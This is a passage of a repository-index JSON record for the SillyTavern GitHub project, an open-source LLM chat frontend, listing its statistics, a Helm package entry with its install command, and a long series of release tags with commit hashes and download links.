{"id":390105,"url":"https://github.com/SillyTavern/SillyTavern","last_synced_at":"2026-10-25T19:03:40.040Z","repository":{"id":115963929,"uuid":"599524116","full_name":"SillyTavern/SillyTavern","owner":"SillyTavern","description":"LLM Frontend for Power Users.","archived":false,"fork":false,"pushed_at":"2026-10-02T22:05:54.000Z","size":215670,"stargazers_count":34889,"open_issues_count":678,"forks_count":6560,"subscribers_count":166,"default_branch":"release","last_synced_at":"2026-10-24T15:48:08.309Z","etag":null,"topics":["ai","chat","llm"],"latest_commit_sha":null,"homepage":"https://sillytavern.app","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"TavernAI/TavernAI","license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/SillyTavern.png","metadata":{"files":{"readme":".github/readme-de_de.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2023-02-09T10:19:24.000Z","updated_at":"2026-10-24T15:43:20.000Z","dependencies_parsed_at":"2026-10-17T04:16:09.865Z","dependency_job_id":null,"html_url":"https://github.com/SillyTavern/SillyTavern","commit_stats":null,"previous_names":["sillytavern/sillytavern","cohee1207/sillytavern"],"tags_count":103,"template":false,"template_full_name":null,"purl":"pkg:github/SillyTavern/SillyTavern","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/refs/heads/release","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":345237552,"owners_count":38503843,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-25T02:00:07.705Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"SillyTavern","name":"SillyTavern","uuid":"134869877","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/134869877?v=4","repositories_count":1,"last_synced_at":"2026-10-24T15:48:40.481Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/SillyTavern","funding_links":[],"total_stars":null,"followers":1312,"following":0,"created_at":"2023-05-29T18:23:26.448Z","updated_at":"2026-10-24T15:48:40.494Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern/repositories"},"packages":[{"id":15667091,"name":"sillytavern/sillytavern","ecosystem":"helm","description":"A local interface for text generation LLMs.","homepage":null,"licenses":"Unknown","normalized_licenses":["Other"],"repository_url":"https://github.com/SillyTavern/SillyTavern","keywords_array":["ai","roleplay","sillytavern"],"namespace":"sillytavern","versions_count":8,"first_release_published_at":"2026-10-11T20:17:44.000Z","latest_release_published_at":"2026-10-18T01:44:44.000Z","latest_release_number":"0.1.20","latest_published_release_number":"0.1.20","last_synced_at":"2026-10-24T15:48:11.051Z","created_at":"2026-10-11T20:19:19.760Z","updated_at":"2026-10-24T15:48:11.052Z","registry_url":"https://artifacthub.io/packages/helm/sillytavern/sillytavern","install_command":"helm repo add sillytavern oci://ghcr.io/nadd3r/helm-charts/sillytavern \u0026\u0026 helm install sillytavern sillytavern/sillytavern","documentation_url":"https://artifacthub.io/packages/helm/sillytavern/sillytavern","metadata":{"app_version":"1.19.0","chart_version":"0.1.20","category":1,"official":false,"deprecated":false,"repository_url":"oci://ghcr.io/nadd3r/helm-charts/sillytavern","maintainers":[{"name":"David Nader","email":"noreply@sud0.net"}]},"repo_metadata":{"id":115963929,"uuid":"599524116","full_name":"SillyTavern/SillyTavern","owner":"SillyTavern","description":"LLM Frontend for Power Users.","archived":false,"fork":false,"pushed_at":"2026-10-02T22:05:54.000Z","size":215670,"stargazers_count":34571,"open_issues_count":664,"forks_count":6479,"subscribers_count":166,"default_branch":"release","last_synced_at":"2026-10-17T09:29:19.204Z","etag":null,"topics":["ai","chat","llm"],"latest_commit_sha":null,"homepage":"https://sillytavern.app","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"TavernAI/TavernAI","license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/SillyTavern.png","metadata":{"files":{"readme":".github/readme-de_de.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2023-02-09T10:19:24.000Z","updated_at":"2026-10-17T09:21:36.000Z","dependencies_parsed_at":"2026-10-17T04:16:09.865Z","dependency_job_id":null,"html_url":"https://github.com/SillyTavern/SillyTavern","commit_stats":null,"previous_names":["sillytavern/sillytavern","cohee1207/sillytavern"],"tags_count":103,"template":false,"template_full_name":null,"purl":"pkg:github/SillyTavern/SillyTavern","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/refs/heads/release","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344956071,"owners_count":38456743,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-22T02:00:06.372Z","response_time":122,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"SillyTavern","name":"SillyTavern","uuid":"134869877","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/134869877?v=4","repositories_count":1,"last_synced_at":"2023-05-29T18:23:26.436Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/SillyTavern","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2023-05-29T18:23:26.448Z","updated_at":"2023-05-29T18:23:26.448Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern/repositories"},"tags":[{"name":"1.19.0","sha":"7e8663cd9c184a550b37238218bdd32c6efc68e9","kind":"commit","published_at":"2026-09-14T17:55:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.19.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.19.0/manifests"},{"name":"1.18.0","sha":"51ad27fb86d39a3daca3adaa970375c9670c12df","kind":"commit","published_at":"2026-05-03T15:45:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.18.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.18.0/manifests"},{"name":"1.17.0","sha":"e3f41666c69db032e17e079fcddcf40cf47e8593","kind":"commit","published_at":"2026-03-28T17:22:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.17.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.17.0/manifests"},{"name":"1.16.0","sha":"e3b866b5d2bcc7fbaa889bb926fbb567cd1ed25b","kind":"commit","published_at":"2026-02-14T15:46:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.16.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.16.0/manifests"},{"name":"1.15.0","sha":"1c0e7ea9556afcc3ae55c888287dff67a6aa42fc","kind":"commit","published_at":"2025-12-28T16:28:51.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.15.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.15.0/manifests"},{"name":"1.14.0","sha":"9c9be90821ffd6132b40b5f04982522a61d7ad30","kind":"commit","published_at":"2025-11-22T15:27:11.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.14.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.14.0/manifests"},{"name":"1.13.5","sha":"74c158bd2e98b8b4dc54d2bb0d088c5a5e918826","kind":"commit","published_at":"2025-10-16T17:31:22.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.5/manifests"},{"name":"1.13.4","sha":"6dabf12ed785087cfe50b8027c582b16faa2ac4d","kind":"commit","published_at":"2025-09-13T17:48:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.4/manifests"},{"name":"1.13.3","sha":"1a1f57e00ead3b7e4a30269caf4b1c756310206b","kind":"commit","published_at":"2025-08-25T15:12:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.3/manifests"},{"name":"1.13.2","sha":"9a191c41e8b8fa7d203974c0b0debdfe1146a7a0","kind":"commit","published_at":"2025-07-26T19:16:05.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.2/manifests"},{"name":"1.13.1","sha":"a2efd8792c1cd0791c63bf6fa39ab03dada5d4bd","kind":"commit","published_at":"2025-06-22T15:15:27.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.1/manifests"},{"name":"1.13.0","sha":"90eb74545c5071ddc614d838d163c0a164f73382","kind":"commit","published_at":"2025-05-25T19:18:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.0/manifests"},{"name":"1.12.14","sha":"689637b36c178478545b46a4bec0f25ae3b97471","kind":"commit","published_at":"2025-04-21T15:51:57.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.14","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.14/manifests"},{"name":"1.12.13","sha":"d8c8bfa8a43f34ba02ff421fc8adcc8376daff61","kind":"commit","published_at":"2025-03-15T20:47:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.13","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.13/manifests"},{"name":"1.12.12","sha":"75aec772719006bdefcdfa2f5a0fb0ac0d257158","kind":"commit","published_at":"2025-02-16T19:15:21.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.12","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.12/manifests"},{"name":"1.12.11","sha":"cc010643ad4f8fb5bbcfe7d36c6108ff5729c396","kind":"commit","published_at":"2025-01-18T22:13:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.11","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.11/manifests"},{"name":"1.12.10","sha":"f246bc5ac6eeff65de0e482bc88f22e9b55a8eac","kind":"commit","published_at":"2025-01-01T15:21:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.10","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.10/manifests"},{"name":"1.12.9","sha":"bf4357774dc8ba1171899687181edea071b08221","kind":"commit","published_at":"2024-12-07T13:12:23.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.9/manifests"},{"name":"1.12.8","sha":"de3f340a557477773b35726c4ecbcc016fc9743b","kind":"commit","published_at":"2024-12-01T15:31:30.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.8/manifests"},{"name":"1.12.7","sha":"da18b5e85d1ebc1f2834c3422b7946b98447f625","kind":"commit","published_at":"2024-10-26T13:44:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.7/manifests"},{"name":"1.12.6","sha":"648e70b8c6ae10052c2e28d164390ff50846777a","kind":"commit","published_at":"2024-09-24T17:31:07.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.6/manifests"},{"name":"1.12.5","sha":"2428c3979fe6dee360426b72fe6aa88e46091dd8","kind":"commit","published_at":"2024-08-24T14:59:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.5/manifests"},{"name":"1.12.4","sha":"2cd51819e806ba59a900aa77cf0e362d980ab921","kind":"commit","published_at":"2024-07-27T18:56:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.4/manifests"},{"name":"1.12.3","sha":"6e86ab07dde6fb663b50616ff84f7a54d1a3c186","kind":"commit","published_at":"2024-07-03T09:26:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.3/manifests"},{"name":"1.12.2","sha":"6eb74cb7157b3600360c8e90528419341e214f30","kind":"commit","published_at":"2024-06-30T15:22:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.2/manifests"},{"name":"1.12.1","sha":"f05d90bada1434fc540b733a6e04f231ed54ec3e","kind":"commit","published_at":"2024-06-08T15:45:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.1/manifests"},{"name":"1.12.0-6","sha":"db2c9a9926abba2688e6df9b11e194194a4db41e","kind":"commit","published_at":"2024-05-20T20:50:34.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0-6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0-6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0-6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-6/manifests"},{"name":"1.12.0","sha":"53496d70f1cfca7891d75058e8be39999ea67657","kind":"commit","published_at":"2024-05-19T13:45:57.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0/manifests"},{"name":"1.12.0-preview","sha":"80ff8383fe4688f7deb8de69d706a56ce219f79e","kind":"commit","published_at":"2024-04-21T19:36:28.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-preview/manifests"},{"name":"1.11.8","sha":"47b656260595967ad70b749845f7b5b33ed3631c","kind":"commit","published_at":"2024-04-21T18:24:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.8/manifests"},{"name":"1.11.7","sha":"13762470b032c01fe6777a9331fb08387de3632b","kind":"commit","published_at":"2024-04-06T12:30:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.7/manifests"},{"name":"1.11.6","sha":"f121d1da564c6402750683d36b02365631cf04ac","kind":"commit","published_at":"2024-03-16T14:35:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.6","h